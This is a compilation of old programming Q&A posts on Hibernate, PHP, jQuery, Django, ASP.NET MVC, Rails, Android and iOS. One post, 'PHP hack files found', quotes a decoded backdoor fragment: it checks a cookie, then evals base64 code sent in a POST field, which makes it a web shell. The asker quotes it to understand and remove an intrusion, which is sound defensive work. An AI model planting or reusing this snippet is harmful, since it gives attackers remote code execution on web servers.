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Object equality in context of hibernate / webapp

- by bert

How do you handle object equality for java objects managed by hibernate? In the 'hibernate in action' book they say that one should favor business keys over surrogate keys. Most of the time, i do not have a business key. Think of addresses mapped to a person. The addresses are keeped in a Set and displayed in a Wicket RefreshingView (with a ReuseIfEquals strategy). I could either use the surrogate id or use all fields in the equals() and hashCode() functions. The problem is that those fields change during the lifetime ob the object. Either because the user entered some data or the id changes due to JPA merge() being called inside the OSIV (Open Session in View) filter. My understanding of the equals() and hashCode() contract is that those should not change during the lifetime of an object. What i have tried so far: equals() based on hashCode() which uses the database id (or super.hashCode() if id is null). Problem: new addresses start with an null id but get an id when attached to a person and this person gets merged() (re-attached) in the osiv-filter. lazy compute the hashcode when hashCode() is first called and make that hashcode @Transitional. Does not work, as merge() returns a new object and the hashcode does not get copied over. What i would need is an ID that gets assigned during object creation I think. What would be my options here? I don't want to introduce some additional persistent property. Is there a way to explicitly tell JPA to assign an ID to an object? Regards

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PHP - upload.class image and $_FILES

- by Ockonal

Hello, I'm using class.upload.php to upload pictures onto the server. Here is my form: <form action="<?="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];?>" method="post" enctype="multipart/form-data"> <table style="width: 100%; padding-top: 20px;"> <tr> <td>Image file:</td> <td><input type="file" name="image_file" /></td> </tr> <tr> <td> </td> <td align="right"><input type="submit" name="add_new" value="Add image" /><td></td> </tr> </table> </form> In php code I do: if( array_key_exists('add_new', $_POST) ) { echo 'add new is in array'; echo '<pre>'; print_r($_POST); print_r($_FILES); echo '</pre>'; $handle = new Upload($_FILES['image_file']); ... } Here is an output of print_r: Array ( [image_file] => somefile.png [add_new] => Add image ) Array ( ) As you can see second array is empty ($_FILES), so image doesn't upload. Why? operating system : Linux PHP version : 5.2.12 GD version : 2.0.34 supported image types : png jpg gif bmp open_basedir : /home/httpd/vhosts/kz-gbi.ru/httpdocs:/tmp

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CFfile -- value is not set to the queried data

- by user494901

I have this add user form, it also doubles as a edit user form by querying the data and setting the value="#query.xvalue#". If the user exists (eg, you're editing a user, it loads in the users data from the database. When doing this on the <cffile field it does not load in the data, then when the insert goes to insert data it overrights the database values with a blank string (If a user does not input a new file). How do I avoid this? Code: Form: <br/>Digital Copy<br/>  <cfif len(Trim(certificationsList.cprAdultImage)) EQ 0> <cfinput type="file" required="no" name="cprAdultImage" value="" > <cfelse> File Exists: <cfoutput><a href="#certificationsList.cprAdultImage#">View File</a></cfoutput> <cfinput type="file" required="no" name="cprAdultImage" value="#certificationsList.cprAdultImage#"> </cfif> Form Processor:  <cfif not len(Trim(form.cprAdultImage)) EQ 0> <cffile action="upload" filefield="cprAdultImage" destination="#destination#" nameConflict="makeUnique"> <cfinvokeargument name="cprAdultImage" value="#pathOfFile##cffile.serverFile#"> <cfelse> <cfinvokeargument name="cprAdultImage" value=""> </cfif> CFC ARGS: <cfargument name="cprAdultExp" required="NO"> <cfargument name="cprAdultCompany" type="string" required="no"> <cfargument name="cprAdultImage" type="string" required="no"> <cfargument name="cprAdultOnFile" type="boolean" required="no"> Query: UPDATE mod_StudentCertifications SET cprAdultExp='#DateFormat(ARGUMENTS.cprAdultExp, "mm/dd/yyyy")#', cprAdultCompany='#Trim(ARGUMENTS.cprAdultCompany)#', cprAdultImage='#Trim(ARGUMENTS.cprAdultImage)#', cprAdultOnFile='#Trim(ARGUMENTS.cprAdultOnFile)#' INSERT INTO mod_StudentCertifications( cprAdultExp, cprAdultcompany, cprAdultImage, cprAdultOnFile

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PHP hack files found - help decoding and identifying

- by akc

I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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jQuery selector for option tag value attribute returns null

- by Ben

Hello, I am trying to change the selected option in a select dropdown box with jQuery. I have it set so that it finds the hash tag at the end of the URL and based on that hash tag it changes the selected option in the select box. Most of my code is functional, it successfully finds the hash tag and executes the if statement that corresponds with it. However, when it goes to execute the "then" section of the statement when it goes to the selector for the option (which uses an attribute selector based on the value attribute of the option tag) it returns null. If figured this out with firebug, in the console it says that the selector is null. Here is my code: $(document).ready(function() { var $hash = window.location.hash if($hash == "#htmlcss") { $('option[value="HTML/CSS Coding"]').attr("selected","selected") } if($hash == "#php") { $('option[value="PHP Coding"]').attr("selected","selected") } if($hash == "#jscript") { $('option[value="Javascript and jQuery Coding"]').attr("selected","selected") } if($hash == "#improv") { $('option[value="General Website Improvements"]').attr("selected","selected") } if($hash == "#towp") { $('option[value="Website Conversion to Wordpress"]').attr("selected","selected") } if($hash == "#wptheme") { $('option[value="Wordpress Theme Design"]').attr("selected","selected") } if($hash == "#complete") { $('option[value="Complete Website Creation"]').attr("selected","selected") } if($hash == "#server") { $('option[value="Web Server Configuration"]').attr("selected","selected") } }); So to clarify, when I enter in a url that ends in the #php hash tag, for example, the desired action does not occur which would change the "PHP Coding" option to the selected one by using the "selected" html attribute however the selector for the particular option tag returns null. Is there a problem with my syntax or is my code not functioning in the way that I think it should? Thanks very much.

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jquery events on input submit fields

- by dfilkovi

I have a problem with jquery submit button onclick and default event. What I want to do is replace an click event on submit button if it has one, and get an dialog box to show up, on clicking yes the dialog should start that default onclick event if submit button has one defined, if it hasn't than the default event should happen (button submits form), .submit() function does not work for me in any case cause I need to send this button also through a form and if button wasn't clicked .submit() sends form data without submit data. Bellow code has a problem, alert('xxx') is always called and it shouldn't, and on clicking yes button alert and dialog creation is called again, also if I remove alert button, I cannot call default submit button event (form submitting with a button). $('input.confirm').each(function() { var input = this; var dialog = document.createElement("div"); $(dialog).html('<p>AREYOUSHURE</p>'); $(input).click(function(event) { event.preventDefault(); var buttons = {}; buttons['NO'] = function() { $(this).dialog("close"); }; buttons['YES'] = function() { $(input).trigger('click'); $(this).dialog("close"); }; $(dialog).dialog( { autoOpen: false, width: 200, modal: true, resizable: false, buttons: buttons }); $(dialog).dialog('open'); return false; }); }); <form method="post" action=""> <input type="hidden" value="1" name="eventId" /> <input type="submit" value="Check" name="checkEvent" class="confirm" onclick="alert('xxx');" /> </form>

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how to retreive the row value on click

- by kumar

var RowClick = function() { ("#Grid").click( var s = $("#Grid").jqGrid('getGridParam', 'selarrrow').toString(); alert(s); $("#showgrid").load('/Inventory/Products/List/' + s)); }; on RowClick i am trying to get the value of that row to send throw URL.. to access this Row value in my Actionresult method. but I am getting null value for the row? is this right what I am doing here? Thanks When I am doing somethign like this.. var value; $("#Grid").click(function(e) { var row = jQuery(e.target).parent(); value= row.attr("id"); }); var RowClick = function() { ("#Grid").click( $("#showgrid").load('/Inventory/Products/List/' + value)); }; on alert I am getting the row value perfectly but in my action result method Its showing me null value? Public Actionresult List(string value) { return View(); } can anybody help me out.. thanks

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Is www.example.com/post/21/edit a RESTful URI? I think I know the answer, but have another question.

- by tmadsen

I'm almost afraid to post this question, there has to be an obvious answer I've overlooked, but here I go: Context: I am creating a blog for educational purposes (want to learn python and web.py). I've decided that my blog have posts, so I've created a Post class. I've also decided that posts can be created, read, updated, or deleted (so CRUD). So in my Post class, I've created methods that respond to POST, GET, PUT, and DELETE HTTP methods). So far so good. The current problem I'm having is a conceptual one, I know that sending a PUT HTTP message (with an edited Post) to, e.g., /post/52 should update post with id 52 with the body contents of the HTTP message. What I do not know is how to conceptually correctly serve the (HTML) edit page. Will doing it like this: /post/52/edit violate the idea of URI, as 'edit' is not a resource, but an action? On the other side though, could it be considered a resource since all that URI will respond to is a GET method, that will only return an HTML page? So my ultimate question is this: How do I serve an HTML page intended for user editing in a RESTful manner?

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ASP MVC: E-mail Verification (Encrypting the activation link)

- by wh0emPah

Okay i'm a little bit stuck on how to solve this problem. When a user registers. I want to send him a link so that he can verify hes email address. But i have troubles generating the link. I've already written the controller to accept the links with the correct keys. i only have no idea on how to generate the activation keys. So when the user registers i'll send him a link by mail like this: Your activation link is : http://site.com/user/verify?key=keyhere Now i have created this method (called by the controller/action) to handle the key in the link: public string Verify(string value) { String email = Decrypt(value); user u = gebRep.GetUsers().WithEmail(email).SingleOrDefault(); if (u != null) { u.emailValid = true; userReppository.Save(); } return "Invallid validation value!"; } Now my problem is I have no idea on how to encrypt and decrypt the email into some sort of key (url friendly) So i can mail it with the link and can use it to verify the email. I need some kind of (not to complicated but secure) way to encrypt the email into a urlfriendly key. Tyvm

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Django IntegrityError: foreign key violation upon delete

- by Lukasz Korzybski

I have Order and Shipment model. Shipment has a foreign key to Order. class Order(...): ... class Shipment() order = m.ForeignKey('Order') ... Now in one of my views I want do delete order object along with all related objects. So I invoke order.delete(). I have Django 1.0.4, PostgreSQL 8.4 and I use transaction middleware, so whole request is enclosed in single transaction. The problem is that upon order.delete() I get: ... File "/usr/local/lib/python2.6/dist-packages/django/db/backends/__init__.py", line 28, in _commit return self.connection.commit() IntegrityError: update or delete on table "main_order" violates foreign key constraint "main_shipment_order_id_fkey" on table "main_shipment" DETAIL: Key (id)=(45) is still referenced from table "main_shipment". I checked in connection.queries that proper queries are executed in proper order. First shipment is deleted, after that django executes delete on order row: {'time': '0.000', 'sql': 'DELETE FROM "main_shipment" WHERE "id" IN (17)'}, {'time': '0.000', 'sql': 'DELETE FROM "main_order" WHERE "id" IN (45)'} Foreign key have ON DELETE NO ACTION (default) and is initially deferred. I don't know why I get foreign key constraint violation. I also tried to register pre_delete signal and manually delete shipment objects before delete on order is called, but it resulted in the same error. I can change ON DELETE behaviour for this key in Postgres but it would be just a hack, I wonder if anyone has a better idea what's going on here. There is also a small detail, my Order model inherits from Cart model, so it actually doesn't have id field but cart_ptr_id and after DELETE on order is executed there is also DELETE on cart, but it seems unrelated? to the shipment-order problem so I simplified it in the example.

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Is there a best practice for concatenating MP3 Files, adjusting sample rates to match, while preserving original files?

- by Scott

Hello overflow community! Does anyone know if there is a "best practice" to concatenate mp3 files to create new files, while preserving the original files? I am working on a CentOS Linux machine, in command line. I will eventually call the command line from a PHP script. I have been doing research and I have come up with a process that I think could work. It combines general advice from different forums, blogs, and sources like this one. So here I go: Create a temporary folder Loop through files to create a new, converted copy, of file into a "raw" format (which one, I don't know. I didn't know "raw" files existed before too long ago. I could use some suggestions on this) Store the path to the temporary files, in the temporary folder, and then loop through the files to concatenate them and then put the new merged file the final "processed directory" Delete the contents of the temporary file with the temporary raw files inside. Convert the final file from "raw" to mp3 and enjoy the finished result I'm thinking that this course of action might be best because I can't necessarily control the quality of the original "source" mp3s. The only other option I could think of would be to create a script that would perform a similar process upon files being added to the system leaving only the files with the "proper" format and removing the original "erroneous" file. Hopefully you can see that I have put some thought into this and that I'm trying to leverage the collective knowledge of this community to choose the best direction. Perhaps there is a better path that I could take? By concatenate, I mean to join together in sequence to create a new audio file from the "concatenated files."

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How to render a POST and make it show up on another page

- by stack5914

I'm trying to create a marketplace website similar to craigslist. I created a form according to the Django tutorial "Working with forms", but I don't know how to render information I got from the POST forms. I want to make information(subject,price...etc) that I got from POST show up on another page like this. http://bakersfield.craigslist.org/atq/3375938126.html and, I want the "Subject"(please look at form.py) of this product(eg.1960 French Chair) to show up on another page like this. http://bakersfield.craigslist.org/ata/ } Can I get some advice to handle submitted information? Here's present codes. I'll appreciate all your answers and helps. <-! Here's my codes -- ?forms.py from django import forms class SellForm(forms.Form): subject = forms.CharField(max_length=100) price = forms.CharField(max_length=100) condition = forms.CharField(max_length=100) email = forms.EmailField() body = forms.TextField() ?views.py from django.shortcuts import render, render_to_response from django.http import HttpResponseRedirect from site1.forms import SellForm def sell(request): if request.method =="POST": form =SellForm(request.POST) if form.is_valid(): subject = form.cleaned_data['subject'] price = form.cleaned_data['price'] condition = form.cleaned_data['condition'] email = form.cleaned_data['email'] body = form.cleaned_data['body'] return HttpResponseRedirect('/books/') else: form=SellForm() render(request, 'sell.html',{'form':form,}) ?urls.py from django.conf.urls import patterns, include, url from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', url(r'^sechand/$','site1.views.sell'), url(r'^admin/', include(admin.site.urls)), ) ?sell.html <form action = "/sell/" method = "post">{% csrf_token%} {{ form.as_p }} <input type = "submit" value="Submit" /> </form>

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How to make ActionController::Base.asset_host and Base.relative_url_root independent?

- by GSP

In our Intranet environment we have a decree that common assets (stylesheets, images, etc) should be fed from Apache root while Rails apps runs from from a "sub directory" (a proxy to a Mongrel cluster). In other words: <%= stylesheet_tag '/common' %> # <link href="http://1.1.1.1/stylesheets/common.css" /> <%= link_to 'Home', :controller=>'home', :action=>'index' %> # <a href="http://1.1.1.1/myapp/" /> What I would like to do is define the assets and relative url in my configuration like this: ActionController::Base.asset_host=http://1.1.1.1 ActionController::Base.relative_url_root=/myapp But when I do this, the relative_url_root value gets appended to the asset_host value. (e.g. <link href="http://1.1.1.1/myapp/stylesheets/common.css"> ) Is there a way to stop this? And, more importantly, is there a best practice for how to deploy a rails app to an environment like this? (BTW, I don't want to simply hard code my asset paths since the development environment does not match the test and production environments.) Environment: Rails 2.3.4 Ruby 1.8.7 RedHat Linux 5.4?

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Problem with HiddenFor helper

- by Dmitry Borovsky

Hello. Model: public sealed class Model { public string Value { get; set; } } Controller: [HandleError] public class HomeController : Controller { [HttpGet] public ActionResult Index() { return View(new Model { Value = "+" } ); } [HttpPost] public ActionResult Index(Model model) { model.Value += "1"; return View(model); } } View: <%using (Html.BeginForm()){%> <%: Model.Value %> <%: Html.HiddenFor(model => model.Value) %> <input type="submit" value="ok"/> <%}%> Every time I submitted form result is <form action="/" method="post">+1 <input id="Value" name="Value" type="hidden" value="+"> <input type="submit" value="ok"> </form> It means that HiddenFor helper doesn't use real value of Model.Value but uses passed to controller one. Is it bug in MVC framework? Does anyone know workaround?

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How to see external libraries code when debugging

- by Sanva

Hello!! First of all... this is my message #1 in this place, so... please be nice with me ;) I just started recently to study Gnome apps/libraries and I found that debuggers are an excellent way to learn, because seeing the code running helps a lot in understanding the structure of the program. But I have a problem. For example, debugging gnome-panel I found a lot of calls to external functions (basically the GTK+ functions), and although pretending to see all the code of all the functions applications like this call would be crazy, there are a lot that will be very interesting to see in action. The problem is that the debugger hasn't the code of those libraries loaded and it can't show it to me —at most it shows the line number where the execution is. I'm using Nemiver and when it tries to enter in an external function it claims because it can't find a file it supposed to be somewhere. For example, trying to enter in gtk_window_set_default_icon_name it tries to load /build/buildd/gtk+2.0-2.16.1/gtk/gtkwindow.c, and calling XSetIOErrorHandler, ../../src/ErrHndlr.c. So now I think that I'm doing something wrong... Why Nevimer are looking for those source files in those places?? My system does not even have the /build/buildd/ folders... and I don't know if I'm doing something wrong or I need to install somethig or what. Any suggestion? How do you debug this kind of applications? Best regards and thanks a lot for your time —and forgive me if my English is bad.

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DBTransactions between stateless calls using GUIDs

- by Marty Trenouth

I'm looking to add transactional support to my DB engine and providing to Abstract Transaction Handling down to passing in Guids with the DB Action Command. The DB engine would run similar to: private static Database DB; public static Dictionary<Guid,DBTransaction> Transactions = new ...() public static void DoDBAction(string cmdstring,List<Parameter> parameters,Guid TransactionGuid) { DBCommand cmd = BuildCommand(cmdstring,parameters); if(Transactions.ContainsKey(TransactionGuid)) cmd.Transaction = Transactions[TransactionGuid]; DB.ExecuteScalar(cmd); } public static BuildCommand(string cmd, List<Parameter> parameters) { // Create DB command from EntLib Database and assign parameters } public static Guid BeginTransaction() { // creates new Transaction adding it to "Transactions" and opens a new connection } public static Guid Commit(Guid g) { // Commits Transaction and removes it from "Transactions" and closes connection } public static Guid Rollback(Guid g) { // Rolls back Transaction and removes it from "Transactions" and closes connection } The Calling system would run similar to: Guid g try { g = DBEngine.BeginTransaction() DBEngine.DoDBAction(cmdstring1, parameters,g) // do some other stuff DBEngine.DoDBAction(cmdstring2, parameters2,g) // sit here and wait for a response from other item DBEngine.DoDBAction(cmdstring3, parameters3,g) DBEngine.Commit(g) } catch(Exception){ DBEngine.Rollback(g);} Does this interfere with .NET connection pooling (other than a connection be accidently left open)? Will EntLib keep the connection open until the commit or rollback?

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JSF2.0: variable list of custom component

- by rattaman

Hello Is there any way of using JSF2.0 in connection with variable lists of components? For example, lets say I have list o people that I would like to edit. They are presented on the page as list of components PersonEditor, which allow changing person data. Each editor is associated with single Person element. In order for this to work I need to perform following steps: On initial request: Get list of people For each person create PersonEditor and associate it with Person object. Fill editor's data. On user action: When user changes values and presses Save, data is processed by backing bean. I can either fill editor with data from list of people or bind it to the backing bean, but not at the same time, so I am stuck. I tried people.xhtml <ui:render value="#{bean.people}" var="person"> <example:personEditor person="#{person}"/> </ui:render> where personEditor.xhtml: a) proper association with person object, but no connection to backing bean <h:form> <h:outputText value="#{cc.attr.person.name}"/> <h:commandButton name="Save" actionListener="editorBean.save"> <f:ajax execute="@form" render="@form"/> </h:commandButton> </h:form> b) no association with person object, but there is connection to backing bean - there is no way to pass that person to the backing bean <h:form> <h:outputText value="#{editorBean.name}"/> <h:commandButton name="Save" actionListener="editorBean.save"> <f:ajax execute="@form" render="@form"/> </h:commandButton> </h:form> If I had each editor on separate page, I could pass the person id as url parameter (either using f:param or f:attribute) and initialize it accordingly. Is there any solution to this problem?

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ASP.NET MVC Unit Testing Controllers - Repositories

- by Brian McCord

This is more of an opinion seeking question, so there may not be a "right" answer, but I would welcome arguments as to why your answer is the "right" one. Given an MVC application that is using Entity Framework for the persistence engine, a repository layer, a service layer that basically defers to the repository, and a delete method on a controller that looks like this: public ActionResult Delete(State model) { try { if( model == null ) { return View( model ); } _stateService.Delete( model ); return RedirectToAction("Index"); } catch { return View( model ); } } I am looking for the proper way to Unit Test this. Currently, I have a fake repository that gets used in the service, and my unit test looks like this: [TestMethod] public void Delete_Post_Passes_With_State_4() { //Arrange var stateService = GetService(); var stateController = new StateController( stateService ); ViewResult result = stateController.Delete( 4 ) as ViewResult; var model = (State)result.ViewData.Model; //Act RedirectToRouteResult redirectResult = stateController.Delete( model ) as RedirectToRouteResult; stateController = new StateController( stateService ); var newresult = stateController.Delete( 4 ) as ViewResult; var newmodel = (State)newresult.ViewData.Model; //Assert Assert.AreEqual( redirectResult.RouteValues["action"], "Index" ); Assert.IsNull( newmodel ); } Is this overkill? Do I need to check to see if the record actually got deleted (as I already have Service and Repository tests that verify this)? Should I even use a fake repository here or would it make more sense just to mock the whole thing? The examples I'm looking at used this model of doing things, and I just copied it, but I'm really open to doing things in a "best practices" way. Thanks.

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Problem executing trackPageview with Google Analytics.

- by dmrnj

I'm trying to capture the clicks of certain download links and track them in Google Analytics. Here's my code var links = document.getElementsByTagName("a"); for (var i = 0; i < links.length; i++) { linkpath = links[i].pathname; if( linkpath.match(/\.(pdf|xls|ppt|doc|zip|txt)$/) || links[i].href.indexOf("mode=pdf") >=0 ){ //this matches our search addClickTracker(links[i]); } } function addClickTracker(obj){ if (obj.addEventListener) { obj.addEventListener('click', track , true); } else if (obj.attachEvent) { obj.attachEvent("on" + 'click', track); } } function track(e){ linkhref = (e.srcElement) ? e.srcElement.pathname : this.pathname; pageTracker._trackPageview(linkhref); } Everything up until the pageTracker._trackPageview() call works. In my debugging linkhref is being passed fine as a string. No abnormal characters, nothing. The issue is that, watching my http requests, Google never makes a second call to the tracking gif (as it does if you call this function in an "onclick" property). Calling the tracker from my JS console also works as expected. It's only in my listener. Could it be that my listener is not deferring the default action (loading the new page) before it has a chance to contact Google's servers? I've seen other tracking scripts that do a similar thing without any deferral.

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Have to click twice to submit the form

- by phil

Intended function: require user to select an option from the drop down menu. After user clicks submit button, validate if an option is selected. Display error message and not submit the form if user fails to select. Otherwise submit the form. Problem: After select an option, button has to be clicked twice to submit the form. I have no clue at all.. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <script src="jquery-1.4.2.min.js" type="text/javascript"></script> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style> p{display: none;} </style> </head> <script> $(function(){ // language as an array var language=['Arabic','Cantonese','Chinese','English','French','German','Greek','Hebrew','Hindi','Italian','Japanese','Korean','Malay','Polish','Portuguese','Russian','Spanish','Thai','Turkish','Urdu','Vietnamese']; $('#muyu').append('<option value=0>Select</option>'); //loop through array for (i in language) //js unique statement for iterate array { $('#muyu').append($('<option>',{id:'muyu'+i,val:language[i], html:language[i]})) } $('form').submit(function(){ alert('I am being called!'); // check if submit event is triggered if ( $('#muyu').val()==0 ) {$('#muyu_error').show(); } else {$('#muyu_error').hide(); return true;} return false; }) }) </script> <form method="post" action="match.php"> I am fluent in <select name='muyu' id='muyu'></select> <p id='muyu_error'>Tell us your native language</p> <input type="submit" value="Go"> </form>

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Submit to open up a popup window and carry through input data

- by zac

Hi, I have a input box on one page that on submit opens a new page with a longer form and the first field is populated with what was entered from the previous pages input box. So on page 1 there is this code: <form action="sign-up.php"> <input type="text" name="email" value="sign up for email" onFocus="clearText(this)" onBlur="clearText(this)" style="float: left;"> <input value='Submit' /> </form> Then on the sign-up page the receiving form grabs the string out of the url // I would like to keep all of this functionality but it have it occur in a popup. I added this function to the submit: function myPopup() { window.open( "sign-up.php", "myWindow", "status = 1, height = 300, width = 300, resizable = 0" ) and the form becomes <form> <input type="text" name="email" value="sign up for email" onFocus="clearText(this)" onBlur="clearText(this)" style="float: left;"> <input onClick="myPopup()" value='Submit' /> </form> But it no longer appends the input data to the url string. Anyone have any ideas on how I can accomplish this?

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Android: Adding data to Intent fails to load Activity

- by DroidIn.net

I have a widget that supposed to call an Activity of the main app when the user clicks on widget body. My setup works for a single widget instance but for a second instance of the same widget the PendingIntent gets reused and as result the vital information that I'm sending as extra gets overwritten for the 1st instance. So I figured that I should pass widget ID as Intent data however as soon as I add Intent#setData I would see in the log that 2 separate Intents are appropriately fired but the Activity fails to pick it up so basically Activity will not come up and nothing happens (no error or warning ether) Here's how the activity is setup in the Manifest: <activity android:name=".SearchResultsView" android:label="@string/search_results" <intent-filter> <action android:name="bostone.android.search.RESULTS" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity> And here's code that is setup for handling the click Intent di = new Intent("bostone.android.search.RESULTS"); di.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // if line below is commented out - the Activity will start di.setData(ContentUris.withAppendedId(Uri.EMPTY, widgetId)); di.putExtra("URL", url); views.setOnClickPendingIntent(R.id.widgetContent, PendingIntent.getActivity(this, 0, di, 0)); The main app and the widget are packaged as 2 separate APK each in its own package and Manifest

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Why does this asp.net mvc unit test fail?

- by Brian McCord

I have this unit test: [TestMethod] public void Delete_Post_Passes_With_State_4() { //Arrange ViewResult result = stateController.Delete( 4 ) as ViewResult; var model = (State)result.ViewData.Model; //Act RedirectToRouteResult redirectResult = stateController.Delete( model ) as RedirectToRouteResult; var newresult = stateController.Delete( 4 ) as ViewResult; var newmodel = (State)newresult.ViewData.Model; //Assert Assert.AreEqual( redirectResult.RouteValues["action"], "Index" ); Assert.IsNull( newmodel ); } Here are the two controller actions that handle deleting: // // GET: /State/Delete/5 public ActionResult Delete(int id) { var x = _stateService.GetById( id ); return View(x); } // // POST: /State/Delete/5 [HttpPost] public ActionResult Delete(State model) { try { if( model == null ) { return View( model ); } _stateService.Delete( model ); return RedirectToAction("Index"); } catch { return View( model ); } } What I can't figure out is why this test fails. I have verified that the record actually gets deleted from the list. If I set a break point in the Delete method on the line: var x = _stateService.GetById( id ); The GetById does indeed return a null just as it should, but when it gets back to the newresult variable in the test, the ViewData.Model is the deleted model. What am I doing wrong?

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Two Problems I'm having with UIButton and UIView.

- by Andy

Hi all, I haven't been programming on the iPhone for very long, but I'm picking it up slowly by googling problems I get. Unfortunately I haven't been able to find an answer for these. I have started a new View-based application in Xcode 3.2.2 and immediately added the following files: myUIView.m and myUIView.h, which are subclasses of UIView. In Interface Builder, I set the subclass of the default UIView to be myUIView. I made a button in the drawRect method. Problem one: The title of the button only appears AFTER I click the screen, why? Problem two: I want the button to produce the modalview - is this possible? The code is as follow: #import "myUIView.h" @implementation myUIView - (void)drawRect:(CGRect)rect { // Drawing code button = [UIButton buttonWithType:UIButtonTypeRoundedRect]; button.frame = CGRectMake(0,0,100,100); [button setTitle:@"butty" forState:UIControlStateNormal]; [button addTarget:self action:@selector(buttonPressed:) forControlEvents:UIControlEventTouchUpInside]; [self addSubview:button]; } -(void)buttonPressed:(id)sender{ NSLog(@"Button pressed"); //present modal view somehow..? } I can't see how to post attachments, but if anyone thinks it will help I can upload the source. Many thanks, Andy

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Initialize child models at model creation

- by Antoine

I have a model Entree which belongs to a model Vin, which itself belongs to a model Producteur. On the form for Entree creation/edition, I want to allow the user to define the attributes for parent Vin and Producteur to create them, or retrieve them if they exist (retrieval based on user input). For now I do the following in Entree new and edit actions: @entree = Entree.new @entree.vin = Vin.new @entree.vin.producteur = Producteur.new and use fields_for helper in the form,and that works. But I intend to have much more dependencies with more models, so I want to keep it DRY. I defined a after_initialize callback in Vin model which does the producteur initialization: class Vin < ActiveRecord::Base after_initialize :vin_setup def vin_setup producteur = Producteur.new end end and remove the producteur.new from the controller. However, get an error on new action: undefined method `model_name' for NilClass:Class for the line in the form that says <%= fields_for @entree.vin.producteur do |producteur| %> I guess that means the after_initialize callback doesn't act as I expect it. Is there something I'm missing? Also, I get the same error if I define a after_initialize method in the Vin model instead of definiing a callback.

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